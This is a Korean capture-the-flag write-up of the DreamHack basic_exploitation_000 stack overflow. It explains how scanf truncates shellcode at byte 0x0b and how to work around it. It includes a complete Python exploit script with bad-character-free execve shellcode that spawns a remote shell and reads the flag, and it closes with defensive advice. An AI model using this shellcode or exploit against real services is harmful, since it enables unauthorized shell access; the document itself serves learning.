[🥉 Bronze 2] scanf 가 셸코드를 잘라먹는다 — DreamHack basic_exploitation_000 풀이

문제: DreamHack — basic_exploitation_000 분류: Pwnable 난이도: 🥉 Bronze 2 FLAG: DH{465dd453b2a25a26a847a93d3695676d}

이름 그대로 "기본 익스플로잇" 문제다. buf 주소를 친절하게 출력해 주고, scanf 로 스택을 넘치게 한다. NX도 꺼져 있어서 스택에 올린 셸코드가 그대로 실행된다 — 교과서적인 스택 셸코드 문제다.

그런데 교과서 셸코드를 그대로 붙여 넣으면 동작하지 않는다. 셸이 안 뜨고 프로세스가 죽는다. 이 글의 절반은 "왜 안 되지?"를 파는 과정이고, 범인은 scanf 였다.

문제 개요

풀이 흐름은 짧다. ① 소스와 보호기법을 본다 → ② buf가 스택 어디에 있고 ret까지 거리가 얼마인지 디스어셈블로 잡는다 → ③ 누출된 buf 주소로 ret를 덮어 스택 셸코드로 점프한다. 여기까지는 정석인데, ③에서 셸코드가 안 터져서 ④ scanf 가 셸코드를 잘라먹는 걸 발견하고 우회한다.

🧩 배경 — 스택 버퍼 오버플로우와 스택 셸코드

스택 버퍼 오버플로우는 지역 버퍼에 그 크기보다 많이 써서 인접한 스택 영역(저장된 레지스터, 반환 주소)을 덮는 고전 기법이다.

출처: Wikimedia Commons, WhoAteMyButter, CC0

32비트 함수의 스택 프레임은 위에서부터 지역 변수(buf) → 저장된 ebp → 반환 주소 순으로 쌓인다. 함수가 끝날 때 ret 가 반환 주소를 꺼내 그리로 점프하므로, 반환 주소를 내가 원하는 값으로 덮으면 실행 흐름을 가져온다.

여기에 두 가지 조건이 더해지면 가장 단순한 형태의 익스가 된다. 첫째, NX(스택 실행 방지)가 꺼져 있으면 스택에 올린 기계어(셸코드)를 그대로 실행할 수 있다. 둘째, 셸코드가 어디 있는지 주소를 알면 반환 주소를 그 주소로 덮어 점프하면 된다. 이 문제는 친절하게도 그 주소를 직접 출력해 준다.

🔬 정찰 — 소스와 보호기법

소스부터 본다. main 은 짧다.

int main(int argc, char *argv[]) {
    char buf[0x80];
    initialize();
    printf("buf = (%p)\n", buf);   // (1) buf 의 스택 주소를 그대로 알려준다
    scanf("%141s", buf);            // (2) buf[0x80]=128 인데 141바이트까지 읽는다 → 오버플로우
    return 0;
}

두 줄이 전부다. printf 가 buf의 주소를 누출하고, scanf("%141s") 가 128바이트 버퍼에 141바이트를 읽어 13바이트 넘친다. 이 정도면 저장된 ebp(4)와 반환 주소(4)를 덮기에 충분하다.

보호기법을 확인한다.

file basic_exploitation_000
readelf -l basic_exploitation_000 | grep GNU_STACK   # RWE 면 NX off
readelf -h basic_exploitation_000 | grep Type         # EXEC = No PIE
readelf -s basic_exploitation_000 | grep __stack_chk  # 없으면 No Canary

세 가지가 전부 우리 편이다. NX 꺼짐이라 스택 셸코드가 실행되고, No PIE라 주소가 고정이며, No Canary라 오버플로우가 카나리에 걸리지 않고 곧장 반환 주소까지 닿는다. 누출까지 해 주니, 사실상 "여기로 점프하면 됩니다"를 떠먹여 주는 셈이다.

이제 buf가 스택 어디에 있는지, 반환 주소까지 거리가 얼마인지 디스어셈블로 정확히 잡는다.

objdump -d -M intel basic_exploitation_000 | sed -n '/<main>:/,/ret/p'

lea eax,[ebp-0x80] 가 두 번 나온다 — printf와 scanf 모두 buf를 ebp-0x80 으로 잡는다. 그러면 스택 배치는 이렇다.

• buf: ebp-0x80 (128바이트)
• 저장된 ebp: ebp+0 (4바이트)
• 반환 주소: ebp+4 (4바이트)

buf에서 반환 주소까지 거리 = 0x80 + 4 = 0x84 = 132바이트. scanf("%141s") 는 141바이트까지 읽으니 132바이트를 채운 뒤 4바이트로 반환 주소를 덮고도 남는다.

💣 취약점 — 누출 + 오버플로우 + 점프

계획은 단순하다. buf 안에 셸코드를 깔고, 132바이트를 채운 다음 반환 주소를 누출된 buf 주소로 덮는다. ret 가 buf로 점프하면 거기 깔린 셸코드가 실행된다.

페이로드 구성:

[ shellcode ][ NOP 패딩 ........... ][ 누출된 buf 주소 ]
  buf[0]       132바이트 채울 때까지     ret (buf+0x84)

ret 목적지를 buf의 시작(셸코드 첫 바이트)으로 잡으면 끝이다. ASLR 때문에 buf 주소는 연결할 때마다 바뀌지만, 매번 출력해 주니 받아서 그대로 쓰면 된다.

여기까지 짜서 보내면 — 안 된다. 셸이 안 뜨고 연결이 끊긴다. 셸코드가 실행되다 죽는 것 같은데, 페이로드도 오프셋도 맞다. 범인을 찾아야 했다.

🐛 삽질 — scanf 가 셸코드를 잘라먹는다

반환 주소 제어가 되는지부터 확인했다. ret에 BBBB(0x42424242)를 넣어 보니 gdb에서 EIP가 정확히 0x42424242 가 됐다. 오프셋 132는 맞고, 흐름 탈취도 된다. 그러면 문제는 셸코드 쪽이다.

NX가 정말 꺼져 있는지(스택이 실행 가능한지)도 다시 확인했다. GNU_STACK 플래그가 RWE — 실행 가능 맞다. 그런데도 셸코드가 안 터진다.

gdb로 buf에 실제로 써진 셸코드를 들여다봤다.

▶🐛 삽질 — gdb 로 본 buf: 셸코드가 중간에 잘려 있다

naive execve 셸코드를 페이로드로 넣고, scanf 가 끝난 직후(leave 전) buf를 디스어셈블해 봤다.

셸코드 앞부분(xor eax,eax ~ xor edx,edx)은 멀쩡한데, mov al, 0xb(execve 시스템콜 번호 세팅) 자리가 mov al, 0x0 으로, 그 뒤 int 0x80 은 add %al,(%eax)(= 0x00 0x00) 으로 깨져 있다. 0x0b 부터 뒤가 통째로 0이다. scanf가 거기서 읽기를 멈췄다는 뜻이다.

mov al, 0xb 의 0x0b 바이트가 범인이었다. scanf("%s") 는 공백 문자에서 읽기를 멈추는데, 공백으로 치는 바이트가 스페이스(0x20)만이 아니다. isspace() 기준으로 0x09(\t), 0x0a(\n), 0x0b(\v), 0x0c(\f), 0x0d(\r) 도 전부 공백이다.

하필 execve의 시스템콜 번호 11 = 0x0b 가 세로 탭(\v)이라 scanf가 거기서 잘라 버린다. 그래서 셸코드가 mov al, 까지만 들어가고 뒤가 날아간 것이다.

# demo_badchar.py — naive 셸코드의 0x0b 가 scanf 의 공백 정지 바이트와 겹친다
naive = bytes.fromhex("31c050682f2f7368682f62696e89e3505389e131d2b00bcd80")
WS = {0x09,0x0a,0x0b,0x0c,0x0d,0x20}   # scanf("%s") 가 멈추는 바이트
print([hex(b) for b in naive if b in WS])   # -> ['0xb']  (mov al,0x0b 의 0x0b)

해법은 간단하다. 셸코드 바이트에 0x0b(과 다른 공백 바이트)가 나오지 않게 만들면 된다. 11이라는 값을 0x0b 바이트를 직접 쓰지 않고 만들어 내면 된다.

mov al, 0x16     ; b0 16   (0x16 은 공백 아님)
shr al, 1        ; d0 e8   -> 0x16 >> 1 = 0x0b

0x16 >> 1 = 0x0b. 바이트는 b0 16 d0 e8 로, 어디에도 공백 바이트가 없다. 셸코드 나머지 바이트(/bin//sh 문자열, 푸시, int 0x80 등)도 공백 바이트가 없는지 확인하면 끝이다.

🎯 익스플로잇

scanf-안전 셸코드로 바꾸고, 누출된 buf 주소로 ret를 덮는다. 한 가지 더 — 누출된 buf 주소 자체에 공백 바이트가 들어 있으면 그 주소를 쓰는 ret 부분도 scanf에 잘린다. ASLR이라 주소가 매번 바뀌니, 주소에 공백 바이트가 끼면 그냥 새로 연결해 다른 주소를 받으면 된다.

전체 흐름:

1. 연결 → buf = (0x...) 파싱
2. 주소 4바이트에 공백 바이트가 있으면 재연결
3. scanf-safe 셸코드 + NOP(132까지) + buf 주소 전송
4. ret 가 buf로 점프 → 스택 셸코드 실행 → /bin/sh
5. 셸에 cat /home/basic_exploitation_000/flag 를 흘려보내 flag 회수

🚀 Full Exploit

#!/usr/bin/env python3
# basic_exploitation_000 — 스택 셸코드 (pwntools 없이 raw 소켓)
import socket, struct, re, sys, time
 
HOST, PORT = "host3.dreamhack.games", 14187
if len(sys.argv) >= 3:
    HOST, PORT = sys.argv[1], int(sys.argv[2])
 
# scanf("%s")-safe execve("/bin/sh"): 0x0b 를 직접 쓰지 않고 mov al,0x16; shr al,1 로 11 생성
shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
             b"\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x16\xd0\xe8\xcd\x80")
WS = set(b"\x09\x0a\x0b\x0c\x0d\x20")    # scanf 정지 바이트
assert not (set(shellcode) & WS)
RET_OFF = 0x84    # buf -> 반환 주소 = 0x80 + 4 = 132
 
def recv_until(s, marker, t=5.0):
    s.settimeout(t); buf = b""
    while marker not in buf:
        d = s.recv(4096)
        if not d: break
        buf += d
    return buf
 
def attempt():
    s = socket.socket(); s.settimeout(5); s.connect((HOST, PORT))
    banner = recv_until(s, b")")
    buf_addr = int(re.search(rb"buf = \((0x[0-9a-f]+)\)", banner).group(1), 16)
    addr_bytes = struct.pack("<I", buf_addr)
    if set(addr_bytes) & WS:               # ret 주소가 scanf 에 잘릴 위험 -> 재시도
        s.close(); return None
    payload = shellcode + b"\x90" * (RET_OFF - len(shellcode)) + addr_bytes
    print(f"[*] leaked buf = {hex(buf_addr)}, payload {len(payload)} bytes, ret -> shellcode")
    s.sendall(payload + b"\n"); time.sleep(0.5)
    s.sendall(b"cat /home/basic_exploitation_000/flag /flag 2>/dev/null\n"); time.sleep(0.6)
    out = b""; s.settimeout(3.0)
    try:
        while True:
            d = s.recv(4096)
            if not d: break
            out += d
    except (socket.timeout, ConnectionResetError):
        pass
    s.close(); return out
 
for _ in range(12):
    out = attempt()
    if out is None:
        continue
    m = re.search(rb"DH\{[^}]*\}", out)
    if m:
        print(">>> FLAG:", m.group(0).decode()); break

원격에 던지면 누출 주소를 받아 셸코드로 점프하고, 셸에서 flag를 읽어 온다.

[*] leaked buf = 0xffb55f88, payload 136 bytes, ret -> shellcode
>>> FLAG: DH{465dd453b2a25a26a847a93d3695676d}

📝 결론

가장 단순한 익스에서 가장 흔하게 데이는 게 배드캐릭터다.

오프셋도 맞고 흐름 탈취도 되는데 셸코드만 안 터질 때, 입력 함수가 셸코드를 어떻게 받아들이는지를 의심해야 한다. scanf("%s") 는 공백에서 멈추고, 그 공백은 스페이스만이 아니라 0x09~0x0d 까지다. 하필 execve의 시스템콜 번호 0x0b 가 그 안에 있어서, 교과서 셸코드가 시스템콜 직전에 잘렸다.

값을 바이트로 직접 쓰지 않고 연산으로 만들어 내는 건 셸코드 작성의 기본기다. mov al,0x16; shr al,1 한 줄로 금지 바이트를 피했다. 같은 발상으로 xor, add, sub, shl 등을 조합하면 거의 모든 배드캐릭터를 우회할 수 있다.

방어 관점에서 보면 이 바이너리는 막을 수 있는 걸 거의 다 풀어 놨다.

• NX를 켜라. 스택이 실행 불가였다면 셸코드를 올려도 못 뛴다(그러면 ROP로 한 단계 더 가야 한다).

• 주소를 누출하지 마라. printf("buf = (%p)") 처럼 스택/힙 주소를 출력하면 ASLR이 무력화된다. 디버그 출력은 배포 전에 지운다.

• 입력 길이를 버퍼 크기에 맞춰라. scanf("%141s", buf) 에서 141은 buf[0x80]=128 보다 크다. 경계 검사 없는 입력 한 줄이 전부를 내줬다.

기본 문제지만 "셸코드가 입력 함수를 통과하는가"라는, 실전에서 계속 마주치는 질문을 짚게 해 준다.